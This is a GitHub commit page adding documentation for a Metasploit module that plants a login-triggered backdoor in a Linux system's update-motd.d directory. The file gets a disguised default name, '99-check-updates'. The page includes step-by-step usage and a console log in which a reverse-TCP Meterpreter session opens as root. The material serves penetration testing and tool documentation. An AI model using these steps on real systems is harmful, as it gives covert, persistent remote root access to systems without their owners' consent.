Skip to content

Commit

Permalink
docs: adding motd_persistence docs
Browse files Browse the repository at this point in the history
  • Loading branch information
dledda-r7 committed Oct 8, 2024
1 parent 5e2fab2 commit 2762132
Showing 1 changed file with 49 additions and 0 deletions.
49 changes: 49 additions & 0 deletions documentation/modules/exploit/linux/local/motd_persistence.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
This is a post module that perform a persistence installation on a linux system using [motd](https://manpages.debian.org/bookworm/manpages/motd.5.en.html).
To trigger the persistence execution, an external event such as an user logging in the system with `SSH` is required.

## Verification Steps

1. Start msfconsole
2. Obtain a session on the target machine
3. `use exploit/linux/local/motd_persistence`
4. `set session -1`
5. `exploit`

## Module usage

```
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use motd
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/local/motd_persistence 1999-01-01 normal No update-motd.d Persistence
Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/local/motd_persistence
[*] Using exploit/linux/local/motd_persistence
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/motd_persistence) > set session -1
session => -1
msf6 exploit(linux/local/motd_persistence) > exploit
[*] /etc/update-motd.d/99-check-updates written
msf6 exploit(linux/local/motd_persistence) >
[*] Sending stage (3045380 bytes) to 172.18.49.39
[*] Meterpreter session 2 opened (172.18.52.45:4444 -> 172.18.49.39:41848) at 2024-09-13 03:59:47 -0400
msf6 exploit(linux/local/motd_persistence) > sessions -i -1
[*] Starting interaction with 2...
meterpreter > getuid
Server username: root
meterpreter >
```

## Options

### BACKDOOR_NAME

Specify the name of the file to insert in the motd directory. (Default: 99-check-updates)

0 comments on commit 2762132

Please sign in to comment.